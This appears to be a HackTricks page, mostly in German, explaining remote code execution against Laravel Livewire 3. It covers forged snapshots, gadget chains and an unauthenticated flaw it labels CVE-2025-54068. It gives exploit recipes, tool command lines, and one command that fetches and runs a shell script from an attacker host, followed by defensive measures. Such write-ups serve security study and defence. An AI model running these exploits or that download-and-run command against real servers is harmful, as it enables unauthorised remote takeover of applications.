Laravel Livewire Hydration & Synthesizer Abuse
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Zusammenfassung der Livewire-Zustandsmaschine
Livewire 3 Komponenten tauschen ihren Zustand über Snapshots aus, die data, memo und eine Prüfsumme enthalten. Jeder POST an /livewire/update rehydriert das JSON-Snapshot serverseitig und führt die wartenden calls/updates aus.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Jeder, der APP_KEY besitzt (das zur Ableitung von $hashKey verwendet wird), kann daher beliebige Snapshots fälschen, indem er die HMAC neu berechnet.
Komplexe Eigenschaften werden als synthetische Tupel codiert, die von Livewire\Drawer\BaseUtils::isSyntheticTuple() erkannt werden; jedes Tupel ist [value, {"s":"<key>", ...meta}]. Der Hydration-Kern delegiert einfach jedes Tupel an den Synth, der in HandleComponents::$propertySynthesizers ausgewählt ist, und rekursiert über die Kinder:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Das Tool parst den erfassten Snapshot, injiziert die Gadget-Tupel, berechnet die Prüfsumme neu und gibt eine versandfertige /livewire/update-Payload aus.
CVE-2025-54068 – RCE ohne APP_KEY
updates werden in den Komponenten-Zustand gemerged nachdem die Snapshot-Prüfsumme validiert wurde. Wenn eine Eigenschaft im Snapshot ein synthetisches Tupel ist (oder dazu wird), verwendet Livewire dessen Meta erneut, während es den vom Angreifer kontrollierten Update-Wert hydriert:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit-Rezept:
- Finde eine Livewire-Komponente mit einer ungetypten öffentlichen Eigenschaft (z. B.
public $count;). - Sende ein Update, das diese Eigenschaft auf
[]setzt. Der nächste Snapshot speichert sie dann als[[], {"s": "arr"}]. - Erzeuge ein weiteres
updates-Payload, in dem diese Eigenschaft ein tief verschachteltes Array enthält, das Tupel wie[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]einbettet. - Während der Rekursion wertet
hydrate()jedes verschachtelte Child unabhängig aus, daher werden vom Angreifer gewählte Synth-Keys/-Klassen berücksichtigt, selbst wenn das äußere Tupel und die Checksum nie geändert wurden. - Verwende dieselben
CollectionSynth/FormObjectSynth-Primitive, um ein Queueable-Gadget zu instanziieren, dessen$chained[0]die phpggc-Payload enthält. Livewire verarbeitet die gefälschtenupdates, ruftdispatchNextJobInChain()auf und erreichtsystem(<cmd>), ohne denAPP_KEYzu kennen.
Hauptgründe, warum das funktioniert:
updateswerden nicht durch die Snapshot-Checksum abgedeckt.getMetaForPath()vertraut auf die Synth-Metadaten, die bereits für diese Eigenschaft existierten, selbst wenn ein Angreifer sie zuvor durch schwache Typisierung in ein Tupel gezwungen hat.- Rekursion plus schwache Typisierung lässt jedes verschachtelte Array als ein neues Tupel interpretiert werden, sodass beliebige Synth-Keys und Klassen schließlich die Hydration erreichen.
Livepyre – End-to-End-Ausnutzung
Livepyre automatisiert sowohl die APP_KEY-losen CVE als auch den signed-snapshot-Pfad:
- Ermittelt die eingesetzte Livewire-Version, indem es
<script src="/livewire/livewire.js?id=HASH">parst und den Hash auf verwundbare Releases abbildet. - Sammelt Basis-Snapshots, indem es harmlose Aktionen wiedergibt und
components[].snapshotextrahiert. - Erzeugt entweder ein reines
updates-Payload (CVE-2025-54068) oder einen gefälschten Snapshot (bekannterAPP_KEY) mit eingebetteter phpggc-Kette.
Typische Verwendung:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check führt eine nicht-destruktive Prüfung aus, -F überspringt das Version-Gating, -H und -P fügen benutzerdefinierte Header oder Proxies hinzu, und --function/--param passen die php-Funktion an, die von der gadget chain aufgerufen wird.
Defensive Maßnahmen
- Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
- Vermeide schwach typisierte public properties in Livewire-Komponenten; explizite scalar types verhindern, dass Property-Werte in arrays/tuples gezwungen werden.
- Registriere nur die synthesizers, die du wirklich brauchst, und behandle user-controlled metadata (
$meta['class']) als untrusted. - Verwerfe Updates, die den JSON-Typ einer Property ändern (z. B. scalar -> array), sofern nicht explizit erlaubt, und leite synth metadata neu ab, anstatt veraltete tuples wiederzuverwenden.
- Rotiere
APP_KEYumgehend nach jeder Offenlegung, da er offline snapshot forging ermöglicht, egal wie gepatcht die Code-Basis ist.
Quellen
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

